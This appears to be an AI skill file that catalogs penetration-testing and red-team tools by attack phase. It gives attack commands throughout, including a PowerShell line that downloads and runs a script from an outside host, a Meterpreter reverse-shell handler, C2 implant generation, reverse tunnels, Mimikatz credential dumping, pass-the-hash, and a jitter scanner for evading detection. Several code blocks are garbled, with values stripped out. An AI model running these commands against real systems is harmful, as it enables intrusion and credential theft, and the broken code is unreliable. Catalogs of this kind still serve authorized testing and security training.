awesome-pentest-tools-catalog

name	awesome-pentest-tools-catalog
description	Curated penetration testing and red team tools collection organized by penetration testing lifecycle and MITRE ATT&CK framework
triggers	["what penetration testing tools are available for reconnaissance","show me tools for privilege escalation on windows","which tools can help with web vulnerability scanning","find tools for domain enumeration and lateral movement","what are the best C2 frameworks for red teaming","help me find tools for fingerprinting web applications","recommend tools for tunneling and proxy during pentest","show me free alternatives to commercial security scanners"]

Awesome Pentest Tools Catalog

Skill by ara.so — Security Skills collection.

This skill provides expert knowledge of the Awesome Pentest Tools catalog, a comprehensive collection of penetration testing and red team tools organized by the penetration testing lifecycle and MITRE ATT&CK framework. Use this to discover, recommend, and implement security testing tools across all phases of penetration testing.

Overview

The catalog organizes tools into these primary phases:

1. Information Gathering (信息收集) - Asset and target reconnaissance
2. Vulnerability Analysis (漏洞分析) - Host and web vulnerability scanning
3. Exploitation (漏洞利用) - Exploit frameworks and service-specific tools
4. Privilege Escalation (权限提升) - Linux, Windows, and container escape
5. Persistence (权限维持与后门) - C2 frameworks, webshells, and evasion
6. Tunneling & Proxying (隧道代理) - Network pivoting and protocol tunneling
7. Post-Exploitation (后渗透与域) - Credential theft and lateral movement
8. Covering Tracks (痕迹清理) - Log cleanup and anti-forensics

Key Tool Categories

Information Gathering

Network & Port Scanning

# Masscan - Fast internet-wide TCP scanner
masscan -p1-65535 192.168.1.0/24 --rate=10000 -oL output.txt

# RustScan - Modern port scanner
rustscan -a 192.168.1.1 --ulimit 5000 -- -A -sC

# Naabu - Fast port discovery
naabu -host 192.168.1.1 -p - -rate 10000

# Nmap - Network mapper
nmap -sV -sC -p- 192.168.1.1 -oA scan_results

# Netspy - Internal network segment discovery
netspy -t 192.168.1.1

Fingerprinting & Technology Detection

# WhatWeb - Next generation web scanner
whatweb -v -a 3 https://target.com

# Webanalyze - Batch Wappalyzer detection
webanalyze -host https://target.com -apps apps.json

# EHole - Red team system fingerprint detection
./EHole finger -l urls.txt -json result.json

# TideFinger - Comprehensive fingerprint recognition
./TideFinger_Go -u https://target.com

Directory & Parameter Discovery

# FFuF - Fast web fuzzer
ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200,301,302

# Dirsearch - Web path scanner
dirsearch -u https://target.com -e php,html,js -x 403,404

# Feroxbuster - Fast content discovery
feroxbuster -u https://target.com -w wordlist.txt -x php,asp,aspx,jsp

Vulnerability Scanning

Quick Network Scanning

# Fscan - Comprehensive internal network scanner
./fscan -h 192.168.1.0/24 -np -no -nobr

# Vscan - Vulnerability scanner with POC integration
./vscan -target 192.168.1.1 -all

Comprehensive Vulnerability Assessment

# Nuclei - Fast template-based scanner
nuclei -l targets.txt -t nuclei-templates/ -severity critical,high

# Xray - Passive & active security scanner
xray webscan --basic-crawler http://target.com --html-output report.html

# OpenVAS - Full-featured vulnerability scanner
# (GUI-based, typically accessed via web interface)

Code Auditing

# Semgrep - Static analysis for many languages
# Install: pip install semgrep
import subprocess

def scan_code(path, rules="auto"):
    """Run semgrep security scan"""
    cmd = ["semgrep", "--config", rules, path, "--json"]
    result = subprocess.run(cmd, capture_output=True, text=True)
    return result.stdout

# Usage
scan_results = scan_code("./src", "p/security-audit")

# Fortify - Java code auditor
java -jar fortify.jar -source ./src -output report.html

# Seay - PHP code auditor (GUI-based)
# Typically run through graphical interface

Exploitation

Framework Tools

# SearchSploit - Exploit-DB search
import subprocess

def search_exploits(keyword):
    """Search for exploits using searchsploit"""
    result = subprocess.run(
        ["searchsploit", keyword, "-j"],
        capture_output=True,
        text=True
    )
    return result.stdout

# Usage
exploits = search_exploits("apache 2.4")

# Metasploit Framework
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit"

# Pocsuite3 - POC framework
pocsuite -r poc_file.py -u http://target.com --verify

Service-Specific Tools

# Hydra - Network login cracker
hydra -L users.txt -P passwords.txt ssh://192.168.1.1

# SQLMap - SQL injection tool
sqlmap -u "http://target.com/page?id=1" --dbs --batch

# Redis exploitation
redis-cli -h 192.168.1.1 -a $REDIS_PASSWORD

Privilege Escalation

Linux Privilege Escalation

# LinPEAS - Linux privilege escalation scanner
./linpeas.sh -a > linpeas_report.txt

# Linux Exploit Suggester
./linux-exploit-suggester.sh --uname $(uname -r)

# PEASS-ng (includes linpeas, winpeas)
./linpeas.sh -q -o linpeas_out.txt

Windows Privilege Escalation

# WinPEAS - Windows privilege escalation scanner
.\winPEASx64.exe > winpeas_output.txt

# Windows Exploit Suggester - NG
python wes.py systeminfo.txt -i 'Elevation of Privilege' --hide 'Internet Explorer'

# PowerUp - PowerShell privilege escalation
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/PowerUp.ps1'); Invoke-AllChecks"

Post-Exploitation & C2

Command & Control Frameworks

# Sliver - Modern C2 framework
# Generate implant
# sliver > generate --http 10.0.0.1 --save /tmp/payload.exe

# Cobalt Strike (commercial) - Beacon configuration
# Typically configured via GUI teamserver

# Empire/Starkiller - PowerShell C2
# Configure via web interface or API
import requests
import os

def empire_create_listener(api_url, token):
    """Create Empire HTTP listener"""
    headers = {"Authorization": f"Bearer {token}"}
    listener_config = {
        "name": "http_listener",
        "template": "http",
        "options": {
            "Host": "http://10.0.0.1:8080",
            "Port": "8080"
        }
    }
    response = requests.post(
        f"{api_url}/listeners",
        json=listener_config,
        headers=headers
    )
    return response.json()

# Usage with environment variable
empire_url = os.getenv("EMPIRE_API_URL", "http://localhost:1337/api/v2")
empire_token = os.getenv("EMPIRE_API_TOKEN")

WebShell Management

// Behinder (冰蝎) - Encrypted webshell
// Client connects to server-side shell with password

// Godzilla (哥斯拉) - Advanced webshell manager
// Supports multiple payload types: JSP, PHP, ASP, ASPX

// AntSword (蚁剑) - Cross-platform webshell manager
// Configuration example (do not hardcode credentials)

# Interactive shell upgrade
"""
Common pattern for upgrading to interactive TTY shell
"""
import subprocess

upgrade_commands = """
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z
stty raw -echo; fg
stty rows 38 columns 116
"""

Tunneling & Proxying

Modern Tunneling Tools

# Chisel - Fast TCP/UDP tunnel over HTTP
# Server
./chisel server -p 8080 --reverse

# Client
./chisel client http://10.0.0.1:8080 R:socks

# NPS - Powerful penetration testing proxy
# Server
./nps install
./nps start

# Client
./npc -server=10.0.0.1:8024 -vkey=$NPS_VKEY -type=tcp

// Frp - Fast reverse proxy configuration example
// frps.ini (server)
/*
[common]
bind_port = 7000
token = ${FRP_TOKEN}
*/

// frpc.ini (client)
/*
[common]
server_addr = 10.0.0.1
server_port = 7000
token = ${FRP_TOKEN}

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
*/

Protocol-Specific Tunnels

# Regeorg - SOCKS over HTTP
python reGeorgSocksProxy.py -p 1080 -u http://target.com/tunnel.jsp

# Neo-reGeorg - Improved version
python neoreg.py generate -k $TUNNEL_PASSWORD
python neoreg.py -k $TUNNEL_PASSWORD -u http://target.com/tunnel.php

# DNS Tunneling with dnscat2
# Server
dnscat2-server tunnel.example.com

# Client
./dnscat tunnel.example.com

Domain & Lateral Movement

# BloodHound - Active Directory visualization
# Start Neo4j database
neo4j console

# Collect data with SharpHound
.\SharpHound.exe -c All --outputdirectory C:\Temp

# Impacket - Python classes for network protocols
# Pass-the-Hash with wmiexec
impacket-wmiexec -hashes :$NTLM_HASH administrator@192.168.1.10

# Mimikatz - Credential extraction (Windows)
privilege::debug
sekurlsa::logonpasswords

# LaZagne - Credential recovery tool
laZagne.exe all -oN output.txt

# CrackMapExec - Network authentication testing
import subprocess
import os

def cme_smb_scan(target_range, username, password_file):
    """Execute CrackMapExec SMB scan"""
    cmd = [
        "crackmapexec", "smb", target_range,
        "-u", username,
        "-p", password_file,
        "--shares"
    ]
    result = subprocess.run(cmd, capture_output=True, text=True)
    return result.stdout

# Usage
results = cme_smb_scan(
    "192.168.1.0/24",
    "administrator",
    os.getenv("PASSWORD_LIST", "passwords.txt")
)

Common Workflows

External Pentest Workflow

"""
Typical external penetration test workflow
"""
import subprocess
import os

class ExternalPentest:
    def __init__(self, target_domain):
        self.target = target_domain
        self.results_dir = f"results_{target_domain}"
        os.makedirs(self.results_dir, exist_ok=True)
    
    def asset_discovery(self):
        """Phase 1: Asset discovery"""
        # Subdomain enumeration
        subprocess.run([
            "subfinder", "-d", self.target,
            "-o", f"{self.results_dir}/subdomains.txt"
        ])
        
        # HTTP probing
        subprocess.run([
            "httpx", "-l", f"{self.results_dir}/subdomains.txt",
            "-o", f"{self.results_dir}/live_hosts.txt"
        ])
    
    def port_scanning(self):
        """Phase 2: Port scanning"""
        subprocess.run([
            "naabu", "-l", f"{self.results_dir}/live_hosts.txt",
            "-p", "-", "-rate", "10000",
            "-o", 
        ])
    
     ():
        
        subprocess.run([
            , , ,
            , ,
            , ,
            , 
        ])
    
     ():
        
        .asset_discovery()
        .port_scanning()
        .vulnerability_scan()
         


pentest = ExternalPentest()
pentest.run_full_scan()

Internal Network Pentest

#!/bin/bash
# Internal network penetration testing workflow

TARGET_NETWORK="192.168.1.0/24"
RESULTS_DIR="internal_pentest_$(date +%Y%m%d)"
mkdir -p $RESULTS_DIR

# Phase 1: Network discovery
echo "[*] Phase 1: Network Discovery"
nmap -sn $TARGET_NETWORK -oA $RESULTS_DIR/network_sweep

# Phase 2: Port scanning
echo "[*] Phase 2: Port Scanning"
nmap -p- -T4 -iL $RESULTS_DIR/network_sweep.gnmap -oA $RESULTS_DIR/full_scan

# Phase 3: Service detection
echo "[*] Phase 3: Service Detection"
nmap -sV -sC -iL $RESULTS_DIR/network_sweep.gnmap -oA $RESULTS_DIR/service_scan

# Phase 4: Vulnerability scanning
echo "[*] Phase 4: Vulnerability Scanning"
fscan -hf $RESULTS_DIR/network_sweep.gnmap -o $RESULTS_DIR/fscan_results.txt

# Phase 5: Exploit vulnerable services
echo "[*] Phase 5: Exploitation (manual review required)"
echo "Review results in $RESULTS_DIR/"

Configuration Examples

Nuclei Templates Configuration

# nuclei-config.yaml
# Place in ~/.config/nuclei/config.yaml

templates:
  - /path/to/nuclei-templates
  - /path/to/custom-templates

severity:
  - critical
  - high

threads: 50
rate-limit: 150
timeout: 5

http:
  max-redirects: 3
  user-agent: "Custom-Scanner/1.0"

network:
  max-host-error: 30

output:
  no-timestamp: false
  json: true

Proxychains Configuration

# /etc/proxychains.conf or ~/.proxychains/proxychains.conf

strict_chain
# or dynamic_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
# Add your SOCKS proxy
socks5 127.0.0.1 1080
# Or HTTP proxy
http 127.0.0.1 8080

Best Practices

Tool Selection Guide

"""
Helper functions for tool selection based on scenario
"""

def select_port_scanner(scenario):
    """Choose appropriate port scanner"""
    scanners = {
        "internet_wide": "masscan",  # Fastest for large ranges
        "single_host_full": "rustscan",  # Fast + comprehensive
        "service_detection": "nmap",  # Best fingerprinting
        "internal_network": "naabu",  # Balanced speed/accuracy
    }
    return scanners.get(scenario, "nmap")

def select_web_scanner(target_type):
    """Choose web vulnerability scanner"""
    scanners = {
        "quick_check": "nuclei",  # Template-based, fast
        "comprehensive": "xray",  # Deep crawl + detection
        "api_testing": "ffuf",  # API endpoint fuzzing
        "sql_injection": "sqlmap",  # SQL-specific
    }
    return scanners.get(target_type, "nuclei")

def select_c2_framework(requirements):
    """Choose C2 framework based on requirements"""
    frameworks = {
        "stealth": "sliver",  # Modern, encrypted
        "feature_rich": ,  
        : ,  
        : ,  
    }
     frameworks.get(requirements, )

Safety & Legality

"""
Pre-engagement checklist automation
"""
import os
from datetime import datetime

class PentestEngagement:
    def __init__(self):
        self.scope = []
        self.out_of_scope = []
        self.authorization = None
        self.start_date = None
        self.end_date = None
    
    def verify_authorization(self, target):
        """Verify target is in authorized scope"""
        if target in self.out_of_scope:
            raise ValueError(f"Target {target} is OUT OF SCOPE")
        
        if target not in self.scope:
            raise ValueError(f"Target {target} not in authorized scope")
        
        current_date = datetime.now()
        if not (self.start_date <= current_date <= self.end_date):
            raise ValueError("Outside authorized testing window")
        
        return True
    
    def log_action(self, action, target):
        """Log all testing actions"""
        log_entry = 
         (, )  f:
            f.write(log_entry)


engagement = PentestEngagement()
engagement.scope = [, ]
engagement.out_of_scope = []  
engagement.start_date = datetime(, , )
engagement.end_date = datetime(, , )

:
    engagement.verify_authorization()
    engagement.log_action(, )
 ValueError  e:
    ()

Troubleshooting

Tool Installation Issues

# Go-based tools (nuclei, naabu, httpx, etc.)
export GO111MODULE=on
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

# Python tools with dependency issues
python3 -m venv pentest_env
source pentest_env/bin/activate
pip install --upgrade pip setuptools wheel
pip install impacket sqlmap

# Binary tools permission issues
chmod +x ./tool_name
# If capabilities needed (e.g., raw sockets)
sudo setcap cap_net_raw+ep ./tool_name

Network/Proxy Issues

# Test proxy connectivity
curl --proxy socks5://127.0.0.1:1080 http://example.com

# Force tool through proxy
proxychains4 nmap -sT 192.168.1.1

# DNS issues in proxied environment
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf

Rate Limiting & Detection

"""
Implement rate limiting and jitter to avoid detection
"""
import time
import random

class StealthScanner:
    def __init__(self, delay_range=(1, 5)):
        self.delay_range = delay_range
    
    def random_delay(self):
        """Add random delay between requests"""
        delay = random.uniform(*self.delay_range)
        time.sleep(delay)
    
    def scan_targets(self, targets, scan_function):
        """Scan with rate limiting"""
        results = []
        for target in targets:
            self.random_delay()
            result = scan_function(target)
            results.append(result)
        return results

# Usage
scanner = StealthScanner(delay_range=(2, 8))
# scanner.scan_targets(target_list, scan_function)

Additional Resources

• Official Documentation: Review individual tool repositories for detailed docs
• Community: Many tools have Discord/Slack channels for support
• Updates: Follow tool maintainers on GitHub for latest releases
• Legal Framework: Always obtain written authorization before testing

Environment Variables Reference

# Common environment variables for security tools
export NUCLEI_TEMPLATES_PATH="/opt/nuclei-templates"
export METASPLOIT_DB_HOST="localhost"
export EMPIRE_API_TOKEN="your-api-token-here"
export FRP_TOKEN="your-frp-token-here"
export NPS_VKEY="your-nps-vkey-here"
export TUNNEL_PASSWORD="your-tunnel-password-here"
export PASSWORD_LIST="/path/to/passwords.txt"